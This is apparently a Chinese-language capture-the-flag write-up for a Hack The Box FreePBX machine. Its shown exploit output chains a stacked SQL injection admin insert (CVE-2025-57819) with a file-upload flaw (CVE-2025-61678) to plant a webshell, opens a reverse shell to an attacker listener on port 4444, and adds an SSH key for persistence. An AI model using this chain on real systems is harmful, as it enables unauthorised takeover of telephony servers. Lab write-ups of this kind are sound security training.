[*] [CVE-2025-57819] creating admin via stacked SQLi: svc_i4oxq:6df67kdljb8h [+] admin row inserted into ampusers [*] logging into FreePBX admin panel [+] authenticated as svc_i4oxq [*] [CVE-2025-61678] uploading webshell -> /bzpf0hc4ts/87mhmlte.php [+] webshell live: https://connected.htb/bzpf0hc4ts/87mhmlte.php [+] Trying to bind to :: on port 4444: Done [+] Waiting for connections on :::4444: Got connection from ::ffff:10.129.3.1 on port 49910 [*] firing reverse shell -> 10.10.15.9:4444 [+] shell incoming! dropping to interactive [*] Switching to interactive mode bash: no job control in this shell ______ ______ ______ __ __ | ___| | ___ \| ___ \\ \ / / | |_ _ __ ___ ___ | |_/ /| |_/ / \ V / | _| | '__| / _ \ / _ \| __/ | ___ \ / \ | | | | | __/| __/| | | |_/ // /^\ \ \_| |_| \___| \___|\_| \____/ \/ \/
NOTICE! You have 3 notifications! Please log into the UI to see them! Current Network Configuration +-----------+-------------------+---------------------------+ | Interface | MAC Address | IP Addresses | +-----------+-------------------+---------------------------+ | eth0 | 00:50:56:B9:4B:70 | 10.129.3.1 | | | | fe80::82bd:1bcb:a990:dd3b | +-----------+-------------------+---------------------------+ $ ls
用 SQLi 建 admin(CVE-2025-57819)
|
V
用 admin 權限觸發檔案寫入漏洞(CVE-2025-61678)
|
V
成功把 webshell 放上去,拿到 shell
從 exploit 腳本的輸出就能看出這兩個 CVE 是串在一起用的,先建權限再上傳檔案
建造一對 ssh-key 把公鑰寫上去
1 2 3 4 5 6 7 8 9 10
┌──(guertena㉿meow)-[~/.ssh] └─$ ssh-keygen -f me0w Generating public/private ed25519 key pair. Enter passphrase for "me0w" (empty for no passphrase): Enter same passphrase again: Your identification has been saved in me0w Your public key has been saved in me0w.pub The key fingerprint is: SHA256:3kZHRlGEy5N1W4J/3pJWdGa/LAD2gXoO4OdaZoIqfhs guertena@meow The key's randomart image is:
NOTICE! You have 3 notifications! Please log into the UI to see them! Current Network Configuration +-----------+-------------------+---------------------------+ | Interface | MAC Address | IP Addresses | +-----------+-------------------+---------------------------+ | eth0 | 00:50:56:B9:4B:70 | 10.129.3.1 | | | | fe80::82bd:1bcb:a990:dd3b | +-----------+-------------------+---------------------------+
Please note most tasks should be handled through the GUI. You can access the GUI by typing one of the above IPs in to your web browser. For support please visit: http://www.freepbx.org/support-and-professional-services
+---------------------------------------------------------------------+ | This machine is not activated. Activating your system ensures that | | your machine is eligible for support and that it has the ability to | | install Commercial Modules. | | | | If you already have a Deployment ID for this machine, simply run: | | | | fwconsole sysadmin activate deploymentid | | | | to assign that Deployment ID to this system. If this system is new, | | please go to Activation (which is on the System Admin page in the | | Web UI) and create a new Deployment there. | +---------------------------------------------------------------------+